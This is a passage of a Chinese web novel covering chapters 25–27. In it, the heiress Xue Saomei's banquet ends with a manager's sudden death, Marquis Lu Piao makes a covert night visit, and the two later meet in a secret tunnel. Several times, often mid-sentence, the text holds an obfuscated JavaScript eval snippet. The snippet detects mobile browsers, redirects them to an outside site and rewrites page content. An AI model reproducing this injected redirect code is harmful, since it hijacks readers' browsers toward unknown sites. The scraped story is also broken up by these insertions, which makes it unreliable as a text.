这股敌意,应当来自薛兼对薛扫眉的在意。 看来,薛扫眉说薛兼对她“不乏觊觎”,确有其事。 那么,这两次她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆缥被他的情绪感染,也微笑起来:“我们去尝尝那里的风炉涮兔肉。” 主仆二人在银灯楼举杯共庆的同一时刻,薛宅内也开了席面。 今日是十月的最后一天,也是薛家照例每年宴请各位掌柜、伙计的日子。 这一年碧霄府算得上雨顺风调,民康物阜,薛家作为本道首富,各项产业均欣欣向荣,进项颇丰。正因如此,此时席间的诸位掌柜均面上红润有光,除了—— “林掌柜,您怎么脸色这么难看啊?”有好事者探头问。 林掌柜应付地堆起笑容,挥挥手。 碧霄府去海不远,临近有座小岛名唤南屿,这位林掌柜负责的薛家生意,便是从南屿渔民手中收购水产。孟冬正是富贵虾与红花蟹最肥美的时节,此时到年关前后,是水产买卖的旺季。 可本应春风得意的林掌柜,此刻却脚下悬浮,面色惨白,甚至有些发青。 好事者还想追问,忽然被另一位掌柜扯了扯衣袖。他顺着人家的目光示意向前看去,只见由雪貂大氅裹得严严实实的薛大姑娘,已在阿橘的搀扶自屏风后来到了幕前。 众人皆恭敬起立,纷纷行礼。林掌柜手支在桌沿,咬着牙也站了起来。 25. 第二十五章 【暴毙】 薛扫眉在上首坐定,微笑招呼各位掌柜也入座,目光在一张张熟悉的面庞上轻轻扫过。 她自十五岁结束修行游历、回到家中始,便跟随着父亲薛昭处理生意。 薛昭当时的意图极简单,不过是希望薛扫眉在闺中时多点历练,待届时嫁到周家之后,能辅助才干平平的周家父子执掌家业,免于败落。但很快他便发现,自己的这位掌上明珠,与她柔弱的母亲和桀骜的大哥完全不同:也许是因为五年在外游历的时光让她增添了诸多见识,凡在经商相关的事务上,薛扫眉可谓一点就通。 四年多前,薛府灭门惨案发生之时,薛扫眉经过数月历练,其实已然成为了薛家中仅次于薛昭和薛斐的第三号人物。在薛昭授意下,掌柜和伙计们见到她,都得恭恭敬敬地唤上一声“小东家”。也正因为如此,当年惨案发生之后,薛扫眉才能改立女户,取得大部分人的信任和支持,顺利接下家业。 她眼前的这些掌柜们,有的是当年薛昭麾下的老人,有的则是薛扫眉后续提拔上来的,可谓群英荟萃,济济一堂。 宾主齐至,负责传膳的侍女和小厮鱼贯而入,各色馔玉旋即铺满了桌案。 众目睽睽之下,薛扫眉含笑抬手,将摆在长案中、盛着柰香新法鸡的莲纹葵口白瓷盘轻轻一转,鸡头对准自己。 座下诸掌柜均松了一口气,不知是谁带头鼓掌叫起好来。 按照旧俗,东家宴请伙计时,将鸡头对准谁,就是要解雇谁;若对准了东家自己,则是表示对众伙计这一年的表现十分满意,愿明年仍能携手共创事业。 薛大姑娘素手一转,诸君确认保住饭碗,怎能不兴高采烈? 体谅薛扫眉病体初愈且仍在孝中,不可久坐,薛家的大小掌柜在管事薛兼的安排下,排好队伍,依次向大姑娘敬酒,并领取她分发的利是。待大姑娘退席之后,肆意的饮乐环节才将开始。 林掌柜此刻正在队列之中,被后人簇拥,踉踉跄跄地往前走。待终于轮到自己,他勉力咧起嘴,颤巍巍地举起酒杯:“给大姑娘问安……” 他面色比那瓷樽更白,甚至泛出一丝蓝。 薛扫眉将包着利是钱的红色纸封递给他,温声道:“林掌柜好。我已看过上个月南屿的账目了,事情办得不错。你家郑娘子如今可好?前番我去南屿时,与她一见如故;她烹的海鲜,我至今想起来都馋。两个小丫头呢,也都还好?” 林掌柜见她温柔可亲,内心极是感激。他本欲与大姑娘多聊几句,无奈身虚腿软,腹内如车轮转般绞痛不适,只好苦笑着嗫嚅道:“都好,都好……” “你怎么了?”薛扫眉意识到他的异常,皱起眉头。 林掌柜咬牙道:“这两日可能吃坏了肚子,不太……不太舒服……” “辛苦了,”薛扫眉从阿橘手里又抽出一个红色纸封递给他,“既然身子不适,不如早些归家罢。这是给家里两个小丫头的零花钱。也代问郑娘子好。” 林掌柜又愧又喜,无力推辞了两番,终于收下走了。 阿橘看着他步履蹒跚的样子,忍不住与薛扫眉耳语:“大姑娘,林掌柜今天的样子好吓人,他嘴唇都青了,嘴角还有白沫……” 薛扫眉摇头示意阿橘住嘴,一边强打起精神,又与其他掌柜寒暄起来。 身体不适但仍需要强撑着做完该做的事情,这种感觉她每日都在体会。既然自己逃脱不了,何不给旁人一个痛快呢?对于无甚利害的人,她一向是慷慨的。 一盏茶的时间很快过去,薛大姑娘的利是即将派完。 最后一个来领的,是银灯楼的二掌柜曹姿娘。她是掌柜赵金全的妻子,平日里醉心研制菜品,并不太抛头露面。 “怎么不见你家赵掌柜?”薛扫眉有些意外。 曹姿娘笑着向她行礼,只说是银灯楼今日贵客登门,点名要赵掌柜亲自接待,故而他来不了了,托她向大姑娘致意。 “近来木炭价贵……您前几日交代过,凡用炭的菜品,需每日统计数量、当晚报告过来,好判断后续储备木炭的数量。巧得很,方才登门的这位贵客,便点了用炭的‘拨霞供’。”曹姿娘接着说。 在薛扫眉的注视下,她轻轻点了点头。 薛扫眉会意。想来是陆缥按照自己的吩咐,去了银灯楼。 可据家丁来报,他分明今早才搬进新宅——所谓“侵掠如火”,恐怕也不过如此罢? 薛兼在一旁看着,见派发利是的环节顺利结束,便走上台前,拱手与诸位掌柜见了个礼。 他还未张口宣布大姑娘退场的事宜,后头忽然一阵骚动,一个十三四岁的小厮推开人群,惊慌失措地从后门方向跑了进来,口呼“不好了”,直冲冲向着薛扫眉而来。 薛兼一个箭步抢到薛扫眉身前。 只是他本不必阻拦——那小厮没看脚下,已自个儿跌了跤,伏在地上,哭叫更甚。 “求大姑娘救救我们掌柜罢!我们掌柜刚出后门就倒了,眼看着已经没气儿了!” *** 瞿准这阵子都住在薛宅中,专心为薛扫眉调养。待他得知消息,背着药箱匆匆赶到后门时,薛扫眉、薛兼并一干人等均已候在那里了。 他上前扒开林掌柜的眼皮看了看,又摸了一把脉搏,冲薛扫眉摇摇头:“人已经去了。” 那来报信的小厮自小随侍在林掌柜身边,与林掌柜情同父子。今日林掌柜身子不适,唤他租了驾驴车在后门上等待;没承想,还没上车,便一头栽倒在地上,就此天人永隔。小厮听到经医士亲口确认的噩耗,顿时万念俱灰,伏在尸身上放声哀嚎起来。 众人面面相觑,有与林掌柜相熟的善感者,已跟着抹起了眼泪。 薛扫眉长叹一口气,弯腰拍拍小厮的肩膀,柔声道:“这地上又脏又冷,我先让人把林掌柜抬到门房那里去。好孩子,先别哭了。你知道林掌柜家人线下在哪么?是在南屿,还是随着他回碧霄府过年了?” “在……在碧霄府……”小厮哭得满面通红,语不成声。 薛扫眉吩咐下人将林掌柜的尸身安置好,另派人去林掌柜家里通报。 环顾四周,她见围观的均是自己人,肃然道:“今日林掌柜遽逢不幸,我会一力善后。各位同仁与我薛家休戚与共,应知‘一荣俱荣、一损俱损’的道理。在事情办完之前,请勿声张传谣。今日我也累了,各位领了酒肉和利是,早些归家去罢。” 她语意不乏哀戚,却指挥若定。众人心下敬服,陆续告退。 瞿准见薛扫眉半靠在阿橘身上,已有疲敝之感,不禁拧起眉头:“薛姑娘,先进去歇息罢。” 薛兼难得附和他人,此刻竟也道:“大姑娘且休息罢,外面有我。” 薛扫眉侧目盯着他看了一会儿,沉默不语。她虽仍戴着半张银箔面具,但此刻一双妙目中的审视意味仍清晰可辩。 薛兼反应过来,她在怀疑,林掌柜是他毒死的。按捺下心头苦涩,他迎着她的目光,缓缓摇头。 薛扫眉飞快地在心底盘算了下:林掌柜并不执掌薛家多大份额的产业,且一向兢兢业业,死在宴会之上,对指望靠薛家输血的匪徒来说无甚好处。薛兼的否认有几分可信。 于是她点点头,顺水推舟道:“好,劳烦薛管事了。前厅里应当还有人,你亲自去一下,问清今日与林掌柜同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544227|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌的几位是谁,把名字记下来。另外,林掌柜落座的那一桌,所有酒菜全部留好——现在外头寒冷,将它们都搬到天井里的石桌上罢,用重一点的瓷盆盖好。 “再让人去寿材铺买口棺材回来……等林掌柜的家人来了,你且宽慰着,拿一百两银票给他家里人,权当我做东家的心意了。若他们执意闹起来……那便即刻报官罢。” 薛兼领命而去。薛扫眉在阿橘的搀扶下,缓步往自己闺房的方向走。回想起来,今天她曾劝林掌柜早点归家。他倒在后门时,应当已经看见了驴车,可却永远回不去了。 月色黑沉,北风骤起,席卷在偌大的薛宅当中,发出空荡的回响。 薛扫眉在如缦帛般曲折的回廊中驻足回望,心事重重。这座宅院的每一处都留有她童年时幸福的记忆,可如今看来,那星星点点的灯笼、凄厉呼啸的北风,竟仿佛鬼火狐鸣般可怖。此间重重旧冤未结,今日又新添了一桩人命官司。 “大姑娘?”阿橘见她忽然停步,有些不解。 薛扫眉看向阿橘。少女娇嫩的容颜如玫瑰花瓣一般舒展,灯光印在脸颊上,连昏黄的颜色都显得生动起来,带着疑惑的黑亮瞳仁里,清晰映出自己苍白的面孔。以人为镜,她一下子被拉回现实当中——逝者已矣,活着的人还需完成自己的使命,不可分心。 “没什么。”薛扫眉收回视线,从恍惚中抽离出来,重新冷下心肠。 *** 这一夜的薛宅,可谓一波未平,一波又起。 林掌柜暴毙后不久,他的家人就被接了来。林掌柜的妻子姓郑,是个三十来岁的利落妇人,带着两个垂髫小女来领尸首,倒没有如那小厮般哭天抢地,只是默默垂泪,连说自己男人体弱命苦,这几日在家时就已抱恙,此番死在宴席上,倒叫东家难堪。 薛兼看她通情达理,便按照薛扫眉的吩咐,给了她们银票,又遣府上的驴车送她们和林掌柜的棺材归家。郑娘子红着眼受了,连声称谢。 挂着白灯笼的驴车刚走没一会儿,忽有几个贼人从薛府东北角翻墙进来。薛兼领着人去搜,还没寻到人影,南边柴房又忽然走水了。薛兼只好分兵去救火,自己仍负责搜寻贼人,另派了几个武艺高强的家丁去守位于西北角的、薛扫眉独居的内院。 几个家丁领命过来,见薛扫眉的房内一如既往地亮着烛火,但窗纸上未见人影,不知她是否已入睡,只好壮着胆隔门低声说了下情形,道自己是奉薛兼命令,来替换阿橘、为大姑娘站岗的。 “知道了,”薛姑娘疲惫的声音从屋内传来,似乎刚被扰醒,不甚愉悦,“我喜静,你们站远些。” 她对于这些追随薛兼的家丁,态度一向阴晴不定,他们早已习惯了,此番也并未在意,径直往外撤出了半丈远,横刀站定。 待门外脚步声歇,薛扫眉才松开紧攥丝被的拳头,长出了一口气。 她睡的这张拔步床,是当年薛昭命巧匠精心打造的,四周及穹顶均用金丝楠木板材围起,屏风内有床架、妆台、矮凳、架子等一应家具,彷如一个放大版的妆奁。 而让薛扫眉如此紧张的不速之客,此刻正坐在拔步床门廊下的矮凳上,抱手侧对着她。他选的位置正巧在拔步床的包围之内,饶是屋内遍是灯烛,从窗户外也望不见他的身影。 薛扫眉原本已要安置了,此刻身上仅着里衣。即使那人有意回避,但他距她只有两步之遥,几乎呼吸可闻,还是使她有些不自在。 “抱歉。我如果坐在外间,恐叫人看见了,并非有意唐突。”陆缥低声说。 薛扫眉拥着被子坐起来,也压低声音:“四周都有人,您是怎么进来的?” 26. 第二十六章 【夜会】 陆缥自余光里确认薛扫眉已将自己包裹完整,这才肯将自己的脸完全转过来,正对着她。 满堂高烛与炭火,交织出明亮而温暖茧网;拔步床则像是一颗深色的蛹,将他二人吞吃入腹。但这以无间光线和名贵木材围砌出的结界,并非牢不可破。 陆缥手指上竖,引得薛扫眉看向他所指的北面高处。那里有一扇高窗,为便于通风,此刻正虚掩着——便是他的来处。 论出身,此人妥妥的天潢贵胄;做起梁上君子来,倒也毫无架子,很是坦然。薛扫眉腹诽完毕,仍未解惑:“薛兼刚派了很多人过来,他们怎么……” 不过这话还没问完全,她便已经想通了。看来今夜贼人翻墙和柴房失火,都是陆缥的手笔。“声东击西”、“调虎离山”是使给薛兼的,“暗度陈仓”则被用在了她这里。 陆缥看她忽然陷入思忖,不再言声,以为是被今夜种种乱象吓到了,轻声道:“不必担心。今夜你府中之事,都是我让人做的。” 哪知他话音刚落,对方原本就有些苍白的脸色,更白了一分。 “是你让人做的……”她脑海中不禁浮现出林掌柜濒死时的痛楚面孔。 “对。”陆缥爽快地承认了。 薛扫眉惊疑不定,忽然想到一种可能,低声问:“难道侯爷查出了什么?莫非林掌柜也与那匪首有关?” 这一回轮到陆缥惊讶:“林掌柜是谁?” “此人是我家负责南屿水产生意的掌柜,今夜赴宴后忽然暴毙在后门。他的家人刚带着尸身归家,侯爷便来了我这里,这……应该不是巧合罢?您这样做,用意何在——嗯,有什么需要我去做的么?” “不明白你在说什么,”陆缥皱起眉头,“但我今天没有杀人。我若想要一个掌柜的命,有很多种方法,并不需要在你府中的宴席上布置暗杀。” 这话倒有几分说服力,薛扫眉面色缓和不少。无论如何,她都不希望自己的新盟友在这所宅院里杀人,那会让她产生引狼入室的罪恶感。只是…… “那您今晚过来,是有什么吩咐么?曹娘子已经传话给我,我明夜子时会准时与您相见的。” 她声音极轻,是为了不被外人发现,但那素得发白的脸上明明也被虚弱浸染,甚至还不如十天前在府衙相见时红润有神。可她的提问,却一如既往地极得要领,教他一时想不起应该怎么答。 今夜他与簪缨去了银灯楼。陆御史大驾光临,还点名要赵掌柜接待,后者焉敢不从?好在赵掌柜也算是见过大世面的人,一面派出二掌柜暨贤妻曹娘子代替自己去赴东家的宴请,一面调整好心态,殷勤地招待起陆缥主仆二人——甚至还亲自掌刀,为小簪缨将兔肉细细片好。 赵掌柜的一番举止,令陆缥高看一眼。愿意讨好陆侯爷本尊的人不胜枚举,当然也不乏看在陆缥面子上、对其下属或仆从也愿意巧言令色的人,但赵掌柜挂在脸上的表情,是由衷的和煦,而非刻意谄媚;他的眼睛,始终平视着陆缥和簪缨,而非将自己置于低处。 陆缥想起薛扫眉说过的那个故事。眼前的赵掌柜,便是她认为有担当、有情义,可以信任的人。 眼见为实,向来审慎的陆侯爷,竟莫名其妙地也对赵掌柜生出了几分微妙的亲近。 也许是被陆缥的平易近人所感染,又也许是因为他的一张俊脸太具有迷惑性,赵掌柜在交谈当中逐渐松弛,甚至开始主动介绍自己一家和薛氏的银灯楼共同进步的历史。在这当中,“薛大姑娘”当然是跳不过去的关键词。 “薛大姑娘于你有知遇之恩,所以赵掌柜对她如此感念。”陆缥尝试着总结道。 提纲挈领的一句话,却未完全说到赵掌柜心里。 “不仅如此。”赵掌柜想起往事,眉眼松懈下来,面上泛起柔和的笑,“我与拙荆现在能活着、甚至还成了家,也多亏有她。” 他开始叙说自己所知道的、故事的另一面。 “当时薛家还没出事,我也还只是银灯楼里一个普通的庖夫而已。在薛家数年,我只远远见过大姑娘一面。我以为她根本不认得我。 “我娘子姿娘那时在娘家和婆家,处境都很艰难的。娘家的父兄只希望用她换取前程,婆家的人恨她克死了丈夫,都没将她当人看。我遇见她时,她一只脚已经踏进井口了。说出来不怕大人笑话,当时我上去拉她,没有别的念头,只希望这个人不要想不开,弄脏了我常去打水的水井。 “后来我和姿娘熟悉起来,不时给她送些东西,可是不慎被人抓住。我和她那时其实没有什么,但姿娘的父亲,哦,就是本地司法参军曹大人,知道此事之后,要姿娘自裁以谢祖宗,还恼羞成怒地找到老东家,让他编排个名头——譬如偷盗银灯楼的物件——去告官,好换个理由将我下狱,永绝后患。他是担心我们私相授受的事情被姿娘那时的婆家宣扬出去,教他自己没脸。” 赵掌柜口中的“老东家”,便是薛扫眉的父亲薛昭。 陆缥点点头,示意他继续。 “老东家把我叫去家里问话,正巧大姑娘也在。她和老东家说,我做得一手好菜,还善交际,很有经营的潜质。我根本没想到,她竟关注到银灯楼有我这么一号人! “老东家还没说什么,大姑娘又笑着说,‘如今这事儿,正好看出他是个有情有义的人,对陌生弱者尚可怜惜、扶持,何况对自己的东家呢!’她劝了老东家两句,又分析起曹参军最担心的是什么,‘无外乎名声、金钱和官位,名声可以伪饰,金钱咱们不缺,至于官位么……陈知府是曹参军的上司,咱家又与陈知府交好,自然也不难摆平。’ “老东家是最疼大姑娘的,便依她的主意去办了,竟然还提拔我做掌柜。我和姿娘便都活了下来。我们对大姑娘自是感激不尽的,可她没觉得有什么,只和我说了一句话,又和我娘子说了一句话。” 簪缨在一旁听得津津有味,见赵掌柜停下,立刻追问:“是什么?” 赵掌柜微笑道:“她和我说,‘助人者,人恒助之;正是因为你帮了别人,才轮到我帮你’。 “姿娘没读过书,听不太懂文言,便在口中多念了几遍‘助人者,人恒助之’。大姑娘耐心与她讲了这句话的意思,又笑眯眯地同她说…… “‘姿娘,赵兴全愿意帮助你,因为他把你当人看;可是你自己,也要把自己当人看才是啊。’ “后来我和姿娘日久生情,成亲之后,她才告诉我:她本来以为自己惹下了天大的麻烦,愧对所有人,本想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人从前在各自战场上都能唇枪舌剑,拼杀得精彩,可此刻夜半无人,相对而坐,话语一加中断,竟都不知从何说起了。 薛扫眉并不享受这种尴尬的沉默。搜肠刮肚之后,她终于想起一句适合的问句,可没料到陆缥竟也同时开口。 “你是不是该走了?” “你为什么点这么多灯?” 一个人的声音,尚且低微;两道声线交织,便很难不惹人注意。果然,有脚步声立刻渐近,警醒的家丁轻拍门框:“大姑娘,无事罢?” “无事。”薛扫眉扬声答,用眼神示意陆缥,该走了。 陆缥深吸口气,同意她的判断。但既已引起了监视者的警觉,便很难如来时那般轻松地离开了。他放眼四周,见床头边方形案几上有个瓷盏,伸手拿了,向她递过来。他原本计划待自己走到那扇高窗下时,再让薛扫眉砸碎瓷盏发出声响,借以掩盖他开窗的动静。 哪知薛扫眉今日经历许多事情,到此已是强弩之末,一时整理不出接东西的力气。更糟糕的是,那瓷盏自她纤弱的手指中滑落,一下子摔在地上,碎了。 门外立刻传来兵器出鞘的声音。 27. 第二十七章 【密道】 薛扫眉当机立断,掀开被子,挣扎着从床上下来,一面以音量极低的气声叮嘱陆缥:“我掩护侯爷走到窗下,再回来摔点东西,你趁乱离开便是。” 她决意奋力一搏,但毕竟连接瓷盏的力气都没有,落地时还是忍不住腿软。所幸陆缥眼疾手快,弯腰一把捞住她,这才没让她直接摔倒在碎瓷片上。 可薛扫眉当下的处境,也从容不到哪里去。 陆缥只攥住了她的手肘,可她的脸和上半身,几乎都扑挂在他伸出的臂膀当中。她穿着素丝里衣,而他为了夜间行动便宜,也仅着轻薄的玄色劲装。这些单薄布料,并不足以隔绝近处的热源。薛扫眉被主动握紧的手肘和被迫贴近陆缥肩膀的耳朵、颈侧,在同一时刻触碰到陌生的体温。 这温度实际并不高,却像最强劲的燃料一般,驱动薛扫眉的心脏重重地、疾速地跳动起来,将她贫乏的血液用力泵高至头顶,使苍白的脸颊泛上潮红。 薛扫眉感受到了自己的异状,却无暇关注。事急从权,她扶住陆缥的手臂,尽力支起身体,示意他看向拔步床围板内悬挂着衣物的雕花木架。 “披风。”她用口型提醒。 陆缥颔首会意,在薛扫眉耳边低声说了句“得罪”,随即松开她的手肘,向下钳住纤细的腰肢。薛扫眉还没做好准备,对方已单手发力,轻松将她整个人拎起,越过地上的碎瓷片,稳稳放到衣架前。待她站稳,他立刻收回手,从衣架上取下那件再厚实不过的灰鼠披风,递过来。 几乎与此同时,门外家丁握紧业已出鞘的刀,拍响了薛扫眉的房门:“大姑娘,可还好么?” 薛扫眉置若罔闻,利索地接过披风套上,指指陆缥,又指指身上的披风,最后摆动双指,做了个“走”的动作。做这一番示意的时候,她密切地注视着他的脸,以确保对方确实看懂了自己的意思。如她所愿,陆缥点了点头,面上的表情沉静如常,不见裂缝。 薛扫眉于是安心地移开眼,抬步往屋子中央的圆桌方向走去。陆缥顺势蹲下身,跟随她的脚步前进,将他的身形完全藏在她的披风后头。 竹林风动,玉山倾倒。 二人走出拔步床。满堂烛光高照,契合的暗影投射在窗纸与陶砖之上,亦步亦趋,不分彼此。 “我无事。”薛扫眉走到北窗之下的死角,才停下脚步,对屋外冷淡地扬声,“不过起来倒点水喝,顺便在屋里走走。怎么,这也不行?” 薛大姑娘好大的威风,门外家丁顿时噤如寒蝉,而在她脚边,一向高大骄矜的陆侯早已化若偃草,她只要略一转动眼珠,便能在余光中瞥见他的头顶。 薛扫眉从未从这个角度看过他,有些新奇,不禁多看了两眼;正巧陆缥在这时偏了偏头,不觉将自己不知何时开始便已通红的耳廓,暴露在她视野之中。 趁她还没反应过来,陆缥极快地围好面巾,把口鼻和耳朵严密地包裹起来,只露出一双过分优越的美目,抬起向她一眨,算作道别。 “明晚见。”她轻声道,随即收起眼神,走回屋中。 一道冷清的倩影,再次漫上洁白窗纸,在小桌旁坐定。门外家丁不疑有他,正待收起刀兵,忽然听见屋内传来几声琤琤脆响,夹带着女子的惊呼。 “大姑娘,”家丁立刻拍门询问,“出什么事了?”与他一同当值、原先散落在院落四角的同侪,悄然向他的方向聚拢而来。 薛扫眉目送那片玄色衣角掠出高窗,低头用脚尖踢开碎了一地的瓷片。 “不小心砸碎了几个杯子而已,你们叫鹦哥和阿橘进来收拾。” 薛扫眉自己都没察觉到自己语气中潜藏的欣悦。陆缥像一把锋利的刀,轻轻松松地捅穿了这个将她深藏许久、被大批贼匪看顾起来的牢笼。他的到访虽然突然,却让她感到轻松和安全。 希望下次他们的交谈,不再被意外打断。 薛大姑娘不知道的是,这世上恐怕唯一能让她稍稍开怀而非感到恐惧的黑衣人,此刻并未离开,而是将双手垫于脑后,仰卧在她头顶的屋脊之上。 月黑风高,原是行动的好时机。但在搬家第一天就造访芳邻,却不像陆缥往日的风格。 可他还是来了。也许是因为银灯楼的佳酿太过香醇,也许是因为前两天从本该已死的葛三嘴里撬出了更多讯息,又也许是因为整整十天没有她的消息……他不假思索地来了,却被她的诘问问倒,当下连自己都觉得茫然了,不由得十分罕见地惴惴地想:今日谈话的结局,应该不算是不欢而散罢? 晚间的风越吹越狂,打在陆缥身上,发出簌簌响声。他同身下瓦片一起,逐渐冷却。 陆缥扶着稳坐在屋顶上的灰塑瑞兽造像,在漆黑中起身。 南边不见火光,想来柴房走水已被妥善解决。他安排在东北角翻墙进来的数个暗卫,也未发出讯号,应已功成身退。偌大的薛宅,再次恢复到静谧无波的状态,像一潭被烂泥淤堵的死水。 他冷眼看了一会儿,终于发掘出哪里不对。 *** 次日深夜,陆缥比约定的时间提早了一些,孤身前往宅院东北角的梅园。 原先的周宅、如今的陆府,占地略逊于薛宅,但仍算得上恢弘;只有两间房的御史官舍与其相比,简直小如一粟。因此,此番搬家虽然匆忙,却无人怀疑他的用心,都只道是生于钟鸣鼎食之家的陆御史,早就嫌官舍简陋憋闷,迫不及待想要迁居大宅;也因这般匆忙,他只命人打扫了自己和簪缨的住处,其余屋舍暂且保持不动,显得顺理成章。 在一片没有点灯的屋檐之下,匾额都快发霉的梅园毫不起眼。院门后的木闩还未朽透,陆缥成功启用它,举灯穿过已化为枯骨的绿梅树丛,推开西耳房的小门。 这间房里摆设简单,东墙上钉着一排博古架,上面只零散放了几个装饰用的瓷瓶;地面上堆着一些枯枝烂叶,像是下人将院里的垃圾随意丢在了这里。可是,哪有将屋外的落叶扫到屋内的道理呢? 除非,是想掩盖什么痕迹。 陆缥提着灯,回头看向地面上自己的来处。他的脚步,已在残叶上踩出一条隐约可见的印痕;但只要简单地翻动那些叶片,它就可被立刻覆盖。也许当初,周烈或者其他到访此间的人,就是用这样的方式来掩藏踪迹。 陆缥昂首四顾,猜测哪一面墙体后头连通着密道。西、南、北三边的墙直接通向外间,有夹层的可能性不大,那便只剩下离门最远且与正房相连的东墙。他走到东墙之前,伸出手指在博古架和墙体的各个角落叩打,却毫无收获。 怎么会?陆侯爷拧起眉头。 他欲要再探,指关节还未落到实处,却已听见叩击之声——从自己身后发出。他方才太过入神,来人脚步又轻不可闻,竟神不知鬼不觉地占据了西耳房的入口。 陆缥转过身,恰逢那人伸手摘下斗篷连接的兜帽,背对月光,露出巴掌大的一张素脸。 “陆大人。”薛扫眉笑盈盈地看他,张口呼出稀薄的白雾。 她看上去,好像没有因为自己昨晚无礼的打断而生气。陆缥到此总算松了一口气。 “你是怎么进来的?”他问她,就像昨晚她问他时那样。 “跟我来。”薛扫眉领他走出西耳房,绕过正房,步入对侧的东耳房。这里的布置与西耳房几乎一样,西墙上也钉着博古架,只是上头空空如也。 她从袖袋中摸出一支镌刻着朱雀图腾的黄铜钥匙,走到博古架下,摸索到最底部抽屉内侧的小孔,插入钥匙,轻轻转动。 “你和我说的是,会在西耳房内等我。”他抱着手从后面看她,面无表情地指责对方不讲信用。 薛扫眉逻辑清晰地回应:“我说的是子时。如果侯爷不提前守在那里,的确应该是我等您。” 陆缥仍然不满:“可机关明明在东耳房——你开始根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629785|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本没打算告诉我。” 薛扫眉将钥匙转动到底,而后拔出。墙面无声旋转,露出仅容一人侧身通过的下行缝隙。 “侯爷,请。”她分明已倾囊相告,弄不懂他的控诉从何而来,干脆忽略不计。 地道透出的尘土味,迅速侵入陆缥的鼻腔。他将灯笼探入门内,确认火苗跃动不熄,这才步入。薛扫眉跟在他身后,伸手轻轻一推,墙面便顺势合上,将他二人隔入黑暗之中。 这密道入口处既狭又矮,很快转入地下,二人一前一后,行走在其中,俱能清晰听见自己的呼吸和心跳声。 每走出十步,陆缥便举灯回头查看薛扫眉的进度。光影不经意从她翕张的樱唇上摇摇晃晃地漫过,竟让长于行伍的陆侯爷难得主动地想起了一句诗。 只恐夜深花睡去,故烧高烛照红妆。(注1) 陆缥十二岁便远离了未央京中的风花雪月,于诗词上也谈不上有造诣,此时脑海里莫名蹦出的这十四个文绉绉的字,竟然比此前在街头逢场作戏时刻意应和潋滟姑娘的那句“欲把西湖比西子”,还让他心里发虚。好在此刻黑灯瞎火,薛大姑娘又跟在身后,无人看穿陆御史这一瞬间的心旌飘摇。 数十步之后,前面豁然出现一个黝黑的大洞。 薛扫眉未作迟疑,让陆缥侧身,自己率先走了进去,拿出火折子,熟稔地将暗室石壁上安放的油灯和烛台一一点燃。明明是微末的萤烛之光,逐个点起之后竟也如群星降临,照亮一方。原来此处竟是个家私齐全的暗室。 她身在光芒中心,忽而回首看他,目光盈盈,似在邀请。 陆缥收回视线,定了定神,抬步进入暗室。他信步在其中逛了个来回,果不其然发现另一端还连着一条密道。 “这里通向……”他挑眉看向身后的薛扫眉。 “我的闺房。”她淡定地答。 如陆缥猜想,原先的周宅和薛宅地下,确实有密道互相勾连,两个出入口分别在薛扫眉的闺房和周家这个废弃院落的东耳房中,而通行的钥匙只有一把,掌握在薛扫眉手中。 这是薛扫眉之父薛昭的设计。当时在建设两家宅院时,薛扫眉与周烈已订下娃娃亲,薛昭便特意备下这条逃命救急的通道,确保自己的掌上明珠无论是在自己家中还是嫁到周家之后,都有办法在灾难降临时暂避风头。这条密道原是薛氏父女间的秘密,连她的母亲和兄长都不知晓。 薛扫眉将她与周烈退婚的隐情,一一向陆缥道出。 灭门案发生后,薛扫眉试想过让周烈襄助自己复仇,无奈周烈不仅才智平庸,胆色也不足——她只不过试探性地在他枕上放了一把血刃,已教他吓破了胆。失望之下,薛扫眉将周烈摘出了自己的复仇计划,但多年的交情,仍让她决定要在贼人的监视之下,保周家老小全身而退。 于是,她与周烈伪饰铺垫,配合着在众目睽睽之下演了一出“周纨绔负心败家,薛姑娘退婚断情”的好戏。与此同时,周家的生意明面上也已被薛家“蚕食殆尽”。如此,在那伙贼人看来,周家父子既无威胁,也无价值,被一脚踢出碧霄府之后,自然也就不值得惦记了。 而四年多里,薛扫眉之所以在薛兼等人的密切监视下,还能与周烈不时暗中来往,凭借的便是这条密道。她和周烈约好,只要当日在别的地方见过面,或是薛扫眉给周家送去的礼物里有蝴蝶酥,晚上周烈便会来到东耳房内,彻夜等待。如果薛扫眉认为必要,自会穿行过来,与周烈相见。 她说的这些,与陆缥所猜想的,所差无几。陆缥当日派去追踪周家父子的人,数次回报,均未发现异状。这两个庸碌之人在陆缥心中已成过眼烟云,不值得薛扫眉花许多时间再与他解释。 